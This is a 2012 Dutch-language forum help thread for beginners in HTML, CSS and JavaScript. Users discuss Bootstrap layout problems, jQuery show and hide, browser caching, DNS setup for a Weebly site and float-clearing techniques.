picodealion | vrijdag 9 november 2012 @ 14:50 | |||||
[html, css, js] Voor Dummies Dit topic is bedoeld voor alle vragen m.b.t. HTML, CSS en javascript, kortom alles wat je nodig hebt om (de frontend van) een website te maken. HTML: Hyper Text Markup Language is de structuur van een website. Door middel van verschillende html tags geef je aan welke elementen bij elkaar horen (bijv: <div>, <ul>), of wat de betekenis van deze data is (bijv. <p>, <h1>). HTML leent zich ook voor opmaak, maar het is makkelijker en verstandiger om hier CSS voor te gebruiken. CSS: Cascading StyleSheet is de opmaak van een website. In je CSS specificeer je bijvoorbeeld welke kleur bepaalde elementen moeten hebben, hoe groot ze zijn en hoe je ze wilt rangschikken. JS: Javascript Javascript (niet te verwarren met programmeertaal Java) is een scripttaal, waarmee het mogelijk is je website dynamisch te maken. Javascript kan bijvoorbeeld HTML-elementen aanpassen, toevoegen of verwijderen. Omdat javascript zeer veelzijdig is, is er voor specifieke JS vragen ook een specaal topic, zie: [Javascript] voor dummies Vragen over PHP, SQL of andere serverside programmeertalen horen niet in dit topic. Stel deze in [PHP/MySQL] voor dummies of open zelf een topic. Voor vragen over webhosting, domeinnamen enz. is ook een ander topic: Het grote (betaalde) webhosting topic En voor Wordpress is er ook een speciaal topic, als het om meer gaat dan de HTML/CSS van een theme: Topicreeks: Algemeen Wordpress topic Code posten Het is, als je een vraag stelt, vaak handig om hier een stukje code bij te voegen. Post niet klakkeloos je hele website, maar post alleen het stukje code waar je vraag over gaat. Gebruik bovendien de [code]-tag ( ![]() Veel voorkomende problemen Veel problemen zijn te wijden aan het niet kloppen van HTML of CSS code. Een kleine typfout is snel gemaakt, en de webbrowser kan daar soms erg slecht mee omgaan. Om te controleren of je code technisch in orde is, kun je deze controleren met de W3 validator. Is je code niet correct? Los dan eerst de fouten op zodat de validator geen foutmeldingen meer geeft. Dit lost niet altijd je probleem op, maar zorgt in ieder geval dat alles werkt zoals het hoort te werken, waardoor overige fouten ook veel makkelijker te achterhalen zijn. IK SNAP ER NIETS VAN HELLEP! WAT IS CSS? We helpen iedereen graag in dit topic, ook mensen die er helemaal niets van begrijpen. Maar we verwachten wel dat je je best doet om het wel te gaan begrijpen. Lees eens wat tutorials en probeer het altijd eerst zelf. Je krijgt hier tips waar je zelf iets mee moet doen. Voor je een vraag stel hier, verplichte kost http://www.alistapart.com/articles/css-floats-101/ http://www.alistapart.com/articles/css-positioning-101/ | ||||||
KomtTijd... | vrijdag 9 november 2012 @ 18:03 | |||||
ik lol-de om de tt ![]() | ||||||
picodealion | vrijdag 9 november 2012 @ 18:24 | |||||
Ik wil 'm op een t-shirt. | ||||||
n8n | vrijdag 9 november 2012 @ 18:26 | |||||
doen we een 'before' tegenwoordig niet met een dubbele dubbele punt? ah een artikel hier over gevonden http://www.impressivewebs.com/before-after-css3/ | ||||||
picodealion | vrijdag 9 november 2012 @ 19:16 | |||||
IE struikelt daar soms nog over meen ik. | ||||||
picodealion | vrijdag 9 november 2012 @ 19:18 | |||||
Oh hey, ik heb daar nog uitgbreid op zitten commenten. | ||||||
KomtTijd... | vrijdag 9 november 2012 @ 23:23 | |||||
Des te meer reden om 'm dubbel te zetten ![]() | ||||||
pascal08 | zaterdag 10 november 2012 @ 19:52 | |||||
Hoe zorg ik ervoor dat mijn div's elkaar niet overlappen? Ik neem aan dat ik niet voor elke div een marge hoef in te stellen toch?
| ||||||
picodealion | zaterdag 10 november 2012 @ 19:55 | |||||
Divs overlappen elkaar sowieso niet? Of snap ik je vraag niet? | ||||||
pascal08 | zaterdag 10 november 2012 @ 19:58 | |||||
div "under_top" zit nu onder div "top" | ||||||
KomtTijd... | zaterdag 10 november 2012 @ 20:05 | |||||
Ín top bedoel je? Je sluit er geeneen af (ja alleen #bottom). | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:07 | |||||
Jawel, maar die </div> tags zie je niet. Ik heb alles laten collapsen om de structuur te laten zien. | ||||||
KomtTijd... | zaterdag 10 november 2012 @ 20:10 | |||||
En wat moeten wij er in hemelsnaam over gaan gaan zeggen als je maar de helft laat zien? | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:12 | |||||
Ik zou graag willen weten waarom "top" "under_top" overlapt, maar de rest gewoon wel netjes onder elkaar gezet wordt. Wat wil je zien? | ||||||
KomtTijd... | zaterdag 10 november 2012 @ 20:16 | |||||
Je code. Liefst gewoon een online sample. | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:18 | |||||
http://pastebin.com/0GwJHmaP | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:24 | |||||
Ik denk dat ik de oplossing al heb. Ik moet alles met position: relative aanduiden in een nieuwe CSS file, dus niet die van Bootstrap (al zou dat natuurlijk ook kunnen, volgens mij). EDIT: Werkt niet. ![]() | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:31 | |||||
Kan ik eigenlijk een CSS naast de CSS van Bootstrap gebruiken? Of wordt alles dan overruled? Als ik margin-top: 50px; doe, dan komt de tekst wel onder de navigatiebalk uit, maar zo wil ik het niet. Ik wil gewoon dat de delen van de pagina's na elkaar komen en elkaar dus niet overlappen. | ||||||
donroyco | zaterdag 10 november 2012 @ 20:35 | |||||
Gebruik jsfiddle. | ||||||
donroyco | zaterdag 10 november 2012 @ 20:35 | |||||
Gebruik jsfiddle. | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:39 | |||||
http://jsfiddle.net/6mVcp/ | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:45 | |||||
Problem solved: <div class="navbar navbar-fixed-top"> moest zijn: <div class="navbar navbar-absolute-top"> Hier gevonden: http://css-tricks.com/forums/discussion/16366/help-needed/p1 Thanks voor het meedenken! ![]() | ||||||
KomtTijd... | zaterdag 10 november 2012 @ 20:46 | |||||
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase. Je gaat zelf toch ook niet lopen debuggen zonder firebug... ![]() | ||||||
pascal08 | zaterdag 10 november 2012 @ 20:48 | |||||
Online gooien, wat bedoel je daarmee? Firebug? Ook nog nooit van gehoord. Zal eens kijken wat het is. ![]() | ||||||
pascal08 | zondag 11 november 2012 @ 01:58 | |||||
Als ik errors gelijk wil outputten in een dropdown-login, dan moet ik met javascript werken toch? Of kan ik dat ook gewoon met PHP doen? | ||||||
KomtTijd... | zondag 11 november 2012 @ 09:20 | |||||
De geit is gemolken! Ik herhaal: De geit is gemolken! | ||||||
n8n | zondag 11 november 2012 @ 11:48 | |||||
web inspector | ||||||
Merkie | zondag 11 november 2012 @ 17:28 | |||||
Chrome Developer Tools >>>>> Firebug. | ||||||
picodealion | zondag 11 november 2012 @ 17:49 | |||||
Bla bla bla mijn tool is beter dan de jouwe. | ||||||
pascal08 | maandag 12 november 2012 @ 12:17 | |||||
Ik heb met Bootstrap een typeahead veld gemaakt en ik heb de JS code onder aan m'n HTML pagina geschreven. Als ik dit doe werkt het wel: ..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.
| ||||||
KomtTijd... | maandag 12 november 2012 @ 12:24 | |||||
En wát gaat er niet goed? | ||||||
remlof | maandag 12 november 2012 @ 12:33 | |||||
Die tieten in de tt mogen wel wat groter: tt.replace(/\)\(/\s\)\(\s/) | ||||||
Merkie | maandag 12 november 2012 @ 12:34 | |||||
Ikzelf zou het zo doen:
Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten. [ Bericht 6% gewijzigd door Merkie op 12-11-2012 12:42:43 ] | ||||||
pascal08 | maandag 12 november 2012 @ 12:43 | |||||
Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd? | ||||||
GlowMouse | maandag 12 november 2012 @ 12:44 | |||||
in de request en de reply daarop | ||||||
pascal08 | maandag 12 november 2012 @ 12:44 | |||||
Dit lijkt me inderdaad een goede optie, ik ga dat eens proberen. ![]() | ||||||
pascal08 | maandag 12 november 2012 @ 12:46 | |||||
In het tabblad 'network' geeft 'ie wel een 404 fout, dus ik ben ook ergens weer verkeerd aan het linken, even checken... | ||||||
Merkie | maandag 12 november 2012 @ 12:48 | |||||
Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.
| ||||||
pascal08 | maandag 12 november 2012 @ 12:52 | |||||
Ga ik direct proberen. ![]() Wat er trouwens vaak gebeurd bij mij, is dat een verandering in de code niet goed wordt doorgevoerd in Chrome, terwijl ik wel gewoon refresh. Ik denk dat het iets te maken heeft met een gecached exemplaar, zou dat kunnen? Hoe testen jullie dit soort scripts? | ||||||
Merkie | maandag 12 november 2012 @ 12:57 | |||||
Altijd CTRL-F5 doen. De manier die ik je verteld heb gaat trouwens niet werken bedenk ik me net. Ajax is namelijk asynchroon, als je een Ajax-request uitvoert dan moet je het resultaat in het Ajax-request zelf gebruiken. Je kan niet zeggen: var test = ajaxRequest(bla); Je moet dit ongeveer doen:
| ||||||
GlowMouse | maandag 12 november 2012 @ 13:01 | |||||
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is. | ||||||
Merkie | maandag 12 november 2012 @ 13:01 | |||||
Just to be sure ![]() | ||||||
pascal08 | maandag 12 november 2012 @ 13:03 | |||||
Ik moet nu steeds handmatig al m'n browsergegevens verwijderen, dan doet 'ie het wel. ![]() | ||||||
Devv | maandag 12 november 2012 @ 13:08 | |||||
F5 werkt ook lang niet altijd. Vooral IE heeft er een handje van om bestanden vrolijk vast te houden. | ||||||
KomtTijd... | maandag 12 november 2012 @ 13:15 | |||||
Vandaar ook dat niemand in his right mind IE gebruikt als development browser. | ||||||
remlof | maandag 12 november 2012 @ 13:16 | |||||
In IE10 werken placeholders eindelijk wel. | ||||||
Merkie | maandag 12 november 2012 @ 13:24 | |||||
Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE ![]() | ||||||
mschol | maandag 12 november 2012 @ 13:41 | |||||
vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt... | ||||||
KomtTijd... | maandag 12 november 2012 @ 13:42 | |||||
Uiteindelijk test je in alle browsers ja, maar voor de initiële ontwikkeling IE gebruiken, dan kom je wel met zulke kromme producten... ![]() | ||||||
#ANONIEM | maandag 12 november 2012 @ 13:44 | |||||
IE moet deaud. | ||||||
GlowMouse | maandag 12 november 2012 @ 13:45 | |||||
Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende. | ||||||
mschol | maandag 12 november 2012 @ 13:47 | |||||
een standaard apache installatie, en F5 is dan niet afdoende... overigens vermeld jou link het volgende:
| ||||||
pascal08 | maandag 12 november 2012 @ 13:55 | |||||
Gewoon Ctrl + F5 gebruiken dus. ![]() | ||||||
GlowMouse | maandag 12 november 2012 @ 13:56 | |||||
nee, niet. Apache stuurt standaard echt geen 304 terug. | ||||||
Rockfire | maandag 12 november 2012 @ 14:02 | |||||
Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:
| ||||||
pascal08 | maandag 12 november 2012 @ 14:02 | |||||
"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content." Dat is toch precies wat ik wil? | ||||||
KomtTijd... | maandag 12 november 2012 @ 14:05 | |||||
Bij IE moet je er nooit vanuit gaan dat het doet wat het zou moeten doen. | ||||||
mschol | maandag 12 november 2012 @ 14:08 | |||||
en toch wordt alles uit cache gehaald als ik geen ctrl + f5 gebruik... | ||||||
Merkie | maandag 12 november 2012 @ 14:11 | |||||
Was ik al achter ja. Ik was met die syntax niet bekend. | ||||||
pascal08 | maandag 12 november 2012 @ 14:43 | |||||
Nvm. ![]() Ik heb de functie eindelijk werkend gekregen. Niet helemaal zoals ik het eigenlijk wilde met typeahead van Bootstrap. Maar goed, het werkt, dus ik ben tevreden. Dank voor jullie hulp. ![]()
[ Bericht 26% gewijzigd door pascal08 op 12-11-2012 14:58:12 ] | ||||||
Merkie | maandag 12 november 2012 @ 17:26 | |||||
Zoiets als dit:
![]() | ||||||
Devv | maandag 12 november 2012 @ 17:37 | |||||
Ik ben Microsoft ontwikkelaar en op dit moment maak ik aanpassingen voor Microsoft Dynamics CRM 2011. Dus IE is mijn ontwikkel-browser. Ik zit zelfs nog op Windows XP met IE8 ![]() | ||||||
picodealion | maandag 12 november 2012 @ 17:38 | |||||
Ik benijd je geenszins. | ||||||
KomtTijd... | maandag 12 november 2012 @ 17:45 | |||||
en ik vond vtiger al vervelend! ![]() | ||||||
Mercan | woensdag 14 november 2012 @ 22:00 | |||||
ff een vraagje voor de kenners. Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com) Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl) Ik wil de weebly site hosten op het ".nl" adres. Krijg deze info van weebly. Volg voor alle andere registrars deze algemene aanwijzingen: 1: Bij het bedieningspaneel van uw domein inloggen 2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen 3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com? Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com? Of komt de website echt op www.voorbeelt.nl te staan? Ik hoop dat het duidelijk is Voorbeelt met een "t" is omdat met een "d" een bestaande website is | ||||||
Rockfire | woensdag 14 november 2012 @ 22:07 | |||||
Wat ik zo snel lees is het inderdaad zo dat www.voorbeelt.nl dan gekoppeld wordt aan voorbeelt.weebly.com en iemand die www.voorbeelt.nl intikt zal niet doorhebben dat hij op weebly.com zit. | ||||||
Tijn | woensdag 14 november 2012 @ 22:46 | |||||
Kortom: je zorgt ervoor dat jouw domeinnaam naar Weebly verwijst. Ja. Wat betekent dit? Hoe kan iets "echt op" een domein staan? Als je bedoeld dat je ook hosting bij je domein hebt en of er data van de Weeblysite bij jouw webhost terecht komt: nee. | ||||||
jochemdejongen | zaterdag 17 november 2012 @ 15:35 | |||||
Hi allemaal, ik heb op mn site t volgende in mn CSS bestandje
![]() weet iemand hoe ik dit weg kan werken maar wel mn border radius behoudt aan de bovenkant van de bovenste en onderkant van de onderste p? (die onderste groene balk is een afbeelding, let daar niet op) | ||||||
lkb9000 | zaterdag 17 november 2012 @ 15:38 | |||||
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen? | ||||||
stefanhaan | zaterdag 17 november 2012 @ 15:44 | |||||
P:first (border-rsdius-top) P:last (border-radius-bottom) Lees je eens in in CSS3 selectors | ||||||
jochemdejongen | zaterdag 17 november 2012 @ 17:01 | |||||
Soort van gedaan met wat toevoegingen van mezelf en t werkt, dankjewel! | ||||||
jochemdejongen | zaterdag 17 november 2012 @ 17:02 | |||||
Even wat over gelezen, heel handig! Dankjewel ![]() | ||||||
lkb9000 | zaterdag 17 november 2012 @ 17:19 | |||||
Dat ga ik ook even doen ![]() | ||||||
picodealion | zaterdag 17 november 2012 @ 17:46 | |||||
![]()
![]() | ||||||
lkb9000 | zaterdag 17 november 2012 @ 17:50 | |||||
![]() | ||||||
pascal08 | zaterdag 17 november 2012 @ 23:45 | |||||
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div? Ik heb nu:
Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat. | ||||||
cablegunmaster | zondag 18 november 2012 @ 09:17 | |||||
Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt. Simpeler kan niet? ![]() ![]() | ||||||
stefanhaan | zondag 18 november 2012 @ 11:22 | |||||
np ![]() | ||||||
Merkie | zondag 18 november 2012 @ 17:58 | |||||
Zoiets? Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler | ||||||
pascal08 | zondag 18 november 2012 @ 18:28 | |||||
Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken! Dit is dus wat ik zocht. ![]()
[ Bericht 4% gewijzigd door pascal08 op 18-11-2012 18:36:37 ] | ||||||
Merkie | zondag 18 november 2012 @ 18:44 | |||||
Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt ![]()
![]() | ||||||
pascal08 | zondag 18 november 2012 @ 18:56 | |||||
Wat is precies het verschil? ![]() Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet. Zo doet 'ie het wel weer. Wat vind je hiervan? ![]()
[ Bericht 7% gewijzigd door pascal08 op 18-11-2012 19:12:14 ] | ||||||
Merkie | zondag 18 november 2012 @ 19:22 | |||||
document.getElementById('autosuggestcontainer').style.visibility = 'hidden'; Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller ![]() | ||||||
Tijn | zondag 18 november 2012 @ 19:29 | |||||
Waarom zou je native DOM-functies gebruiken als je toch jQuery al include? | ||||||
pascal08 | zondag 18 november 2012 @ 19:34 | |||||
Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div. [ Bericht 0% gewijzigd door pascal08 op 18-11-2012 19:39:20 ] | ||||||
pascal08 | zondag 18 november 2012 @ 19:35 | |||||
Ik heb me nog helemaal niet verdiept in javascript en jQuery. ![]() ![]() | ||||||
Tijn | zondag 18 november 2012 @ 19:41 | |||||
Er zijn teveel mensen die maar wat aanklooien met Javascript. Als je echt wilt weten hoe het zit, zou ik als ik jou was beginnen met de videolessen van Douglas Crockford: http://yuiblog.com/crockford/ | ||||||
Merkie | zondag 18 november 2012 @ 19:54 | |||||
Hoe maak je nu "visibility:hidden" ongedaan dan? Anders kan je altijd nog $('#element').css('visibility','hidden'); doen. | ||||||
pascal08 | zondag 18 november 2012 @ 20:27 | |||||
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt. ![]() | ||||||
pascal08 | zondag 18 november 2012 @ 20:29 | |||||
"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:
Het zal inderdaad verre van optimaal zijn, maar het werkt. ![]() | ||||||
#ANONIEM | zondag 18 november 2012 @ 20:31 | |||||
Stap 1 is iig, stop met klooien, breng structuur aan. | ||||||
Merkie | zondag 18 november 2012 @ 20:44 | |||||
Dan veranderd je die regel toch in $('#element').show();? | ||||||
pascal08 | maandag 19 november 2012 @ 23:13 | |||||
Ahh, gelukt! ![]()
En:
Nu beter? | ||||||
Merkie | maandag 19 november 2012 @ 23:46 | |||||
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd. | ||||||
pascal08 | dinsdag 20 november 2012 @ 00:30 | |||||
Dat zag ik ook met Chrome: element inspecteren. Bedankt voor jullie tip. ![]() | ||||||
n8n | dinsdag 20 november 2012 @ 01:30 | |||||
en waar stonden die video's dan? | ||||||
Nemephis | dinsdag 20 november 2012 @ 01:59 | |||||
http://yuiblog.com/crockford/ | ||||||
pascal08 | dinsdag 20 november 2012 @ 02:04 | |||||
Youtube, phpacademy. ![]() | ||||||
n8n | dinsdag 20 november 2012 @ 02:07 | |||||
dank maar ik doelde op die over php, had deze al gebookmarked specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleek | ||||||
Nemephis | dinsdag 20 november 2012 @ 02:09 | |||||
Oh okee, dan was ik te snel. Ik weet zo ook geen vids, ik vind het prettiger om info uit boeken/van websites te halen. | ||||||
n8n | dinsdag 20 november 2012 @ 02:12 | |||||
Ja ik op zich ook wel maar ik weet nooit wat 'best practice' boeken/bronnen zijn. Als ik terugdenk met welke bronnen ik html en css heb geleerd: ![]() ![]() anyway, eerst slapen anders komt er helemaal niks van | ||||||
Nemephis | dinsdag 20 november 2012 @ 02:14 | |||||
Qua PHP haal ik hier ontzettend veel vandaan: good old PHP.net welterusten | ||||||
BBQSausage | dinsdag 20 november 2012 @ 02:24 | |||||
Daar bestaat dit topic ook voor; DIG / [PHP/(My)SQL] voor dummies #105 Waar veiligheid > alles | ||||||
Catch22- | dinsdag 20 november 2012 @ 09:28 | |||||
meer genegeerd? ![]() Het zijn verschillende properties met aparte functies. | ||||||
Tijn | dinsdag 20 november 2012 @ 11:54 | |||||
Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben. | ||||||
#ANONIEM | dinsdag 20 november 2012 @ 13:33 | |||||
Nog een leuke voor iedereen hier: Ze hebben op de FP dit neergezet vandaag:
En toen brak de pleuris uit. | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 13:35 | |||||
Verrassend. | ||||||
#ANONIEM | dinsdag 20 november 2012 @ 13:39 | |||||
Heb nog geen reden gehoord waarom dit op Productie zo terecht is gekomen ![]() | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 13:41 | |||||
Het 'ongelukje' zal ongetwijfeld een hoop geld opgeleverd hebben | ||||||
#ANONIEM | dinsdag 20 november 2012 @ 13:43 | |||||
Danny kan weer op vakantie. | ||||||
#ANONIEM | dinsdag 20 november 2012 @ 13:51 | |||||
Ah, ja, dat verklaart alles. Ze laten derde partijen script code aanleveren die ze niet checken voordat ze het live zetten. | ||||||
Catch22- | dinsdag 20 november 2012 @ 13:52 | |||||
ze checken niets voor ze het live zetten geloof. | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 14:11 | |||||
Nou zie ik ook weleens iets over het hoofd bij het testen in een dev-omgeving. Maar dit? ![]() | ||||||
#ANONIEM | dinsdag 20 november 2012 @ 14:16 | |||||
Mooiste is nog dat ze dus proberen te verbloemen dat het proces eromheen gewoonweg niet bestaand is. Of heel erg kut. Nee, 'we kunnen niet meekijken achter de schermen dus je weet niet hoe het is gegaan'. Ze vergeten dat we ook wel door naar de code te kijken kunnen zien dat het ronduit kut is gesteld met het proces. | ||||||
Danny | dinsdag 20 november 2012 @ 14:17 | |||||
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest. Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt. Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten. | ||||||
#ANONIEM | dinsdag 20 november 2012 @ 14:18 | |||||
Kijk, dit vind ik dan alweer twintig keer betere uitleg dan in het FB topic. Dank je wel voor je antwoord, en ik snap dat het onder hoge druk gegaan is. | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 16:13 | |||||
Klopt het dat webkit een element 0px breed maakt als je de overflow aanpast? -edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte... [ Bericht 56% gewijzigd door KomtTijd... op 20-11-2012 16:19:11 ] | ||||||
Danny | dinsdag 20 november 2012 @ 17:22 | |||||
als je de overflow waarin aanpast? als je floated elementen in een element hebt heeft het parent element alleen zijn native hoogte (hoogte + padding + border) tenzij je box-sizing: border-box gebruikt in plaats van het default content-box. Je kunt dmv een clear:both onder de gefloate elementen (<div style="clear:both"></div>) het parent element meetrekken in de hoogte. | ||||||
TwyLight | dinsdag 20 november 2012 @ 17:24 | |||||
Of gewoon een img met een afbeelding van chuck norris![]() | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 17:26 | |||||
Anything, behalve visible (default). Overflow specificeren op iets non-default heeft ook als resultaat dat het element weer om gefloate children heen wrapt, maar bij Webkit werkt dat nogal apart blijkbaar. Het element waar ik het over had verdween ineens rechts uit beeld omdat het vrolijk naast een eerder element was gaan staan, terwijl daar helemaal geen ruimte voor was. (conclusie: breedte = 0) | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 17:26 | |||||
Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing ja ![]() -edit- overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari. | ||||||
Danny | dinsdag 20 november 2012 @ 17:27 | |||||
Je kunt ook met een .clear class werken op je floating elements:
| ||||||
KomtTijd... | dinsdag 20 november 2012 @ 17:30 | |||||
...nog steeds way lelijker dan gewoon overflow:hidden gebruiken als het een klassiek "mijn wrapper schaalt niet mee"-probleem betref.t | ||||||
Danny | dinsdag 20 november 2012 @ 17:30 | |||||
ah ok. zonder een voorbeeldje kan ik er niet zoveel mee ![]() | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 17:31 | |||||
het probleem is wel opgelost, ik vroeg me alleen af of mensen hier vaker last van hebben. Het lijkt me haast een bug in Webkit, dus vandaar. | ||||||
Merkie | dinsdag 20 november 2012 @ 19:40 | |||||
Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden". Lol. Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen ![]() | ||||||
Danny | dinsdag 20 november 2012 @ 20:21 | |||||
Niemand ontkent dat je beter kunt testen. In dit geval was dat niet mogelijk. | ||||||
Danny | dinsdag 20 november 2012 @ 20:22 | |||||
Maar lang niet altijd wenselijk: http://css-tricks.com/pla(...)splay-none-but-dont/ | ||||||
PimD | dinsdag 20 november 2012 @ 20:41 | |||||
"Display:none;" best practice ![]() ![]() ![]() ![]() | ||||||
Danny | dinsdag 20 november 2012 @ 20:53 | |||||
toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven. | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 20:56 | |||||
Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is. | ||||||
Danny | dinsdag 20 november 2012 @ 21:01 | |||||
de rendering begint met weergave aan ook pas na ongeveer 0.5sec. Verschil is dat nu meteen de hele site voor je neus staat. Het valt dus met de user-experience wel mee. Ik maak het optioneel trouwens, dus als je liever de site progressief weergegeven wilt hebben dan kan dat. Standaard zal de fp waarschijnlijk in de header een document.write of geïnjecteerde style krijgen a la body{display:none;} of body{visibility:hidden;}, welke bij document.ready() weer uit de dom wordt verwijderd. Overigens worden veel dingen in de nieuwe fp asynchroon geladen, dus ook als de pagina wordt weergegeven is deze nog niet klaar met weergave (wel voor zaken als scrolling e.d.). Er blijft dus wel een gevoel van progressief laden. Ik steek erg veel tijd in optimalisatie voor de nieuwe fp om de boel zo snel mogelijk te maken. Zowel in benchmarks als qua user-experience. | ||||||
KomtTijd... | dinsdag 20 november 2012 @ 21:02 | |||||
Ik zou het iig goed testen, ook op tragere systemen en vooral op tragere internetverbindingen. | ||||||
pascal08 | dinsdag 20 november 2012 @ 22:32 | |||||
Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen. Hier is de link: http://www.youtube.com/user/phpacademy | ||||||
Catch22- | woensdag 21 november 2012 @ 10:43 | |||||
voorbeelden zijn in dit topic nogal lastig volgens mij ![]() | ||||||
KomtTijd... | woensdag 21 november 2012 @ 11:08 | |||||
![]() | ||||||
Catch22- | woensdag 21 november 2012 @ 11:18 | |||||
Oke. ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ? | ||||||
Danny | woensdag 21 november 2012 @ 11:30 | |||||
visibility:hidden; | ||||||
Catch22- | woensdag 21 november 2012 @ 11:36 | |||||
dan neemt hij nog de ruimte in het is een tr | ||||||
Merkie | woensdag 21 november 2012 @ 12:01 | |||||
Display: none? | ||||||
n8n | woensdag 21 november 2012 @ 16:58 | |||||
bedankt | ||||||
pascal08 | donderdag 22 november 2012 @ 21:10 | |||||
http://jsfiddle.net/F7qjS/ Hoe krijg ik een alert bij het klikken op de slider? Nu krijg ik alleen een alert als ik erboven klik. Het is de bedoeling dat er een variabelen wordt doorgegeven bij het klikken (manipuleren) van de slider. Laat maar, ik heb weer niet verder gekeken dan m'n neus lang is. ![]() | ||||||
Alfje | vrijdag 23 november 2012 @ 16:54 | |||||
Stel ik heb een select en daar wil ik een onChange event aanhangen. Dat kan door onChange="javascriptcode" toe te voegen, zal over het algemeen een call naar een javascript functie zijn. Of je kan het via JQuery doen. Heeft het een de voorkeur boven het ander en waarom? | ||||||
Tijn | vrijdag 23 november 2012 @ 16:56 | |||||
Het is beter om geen javascript in je HTML te zetten. | ||||||
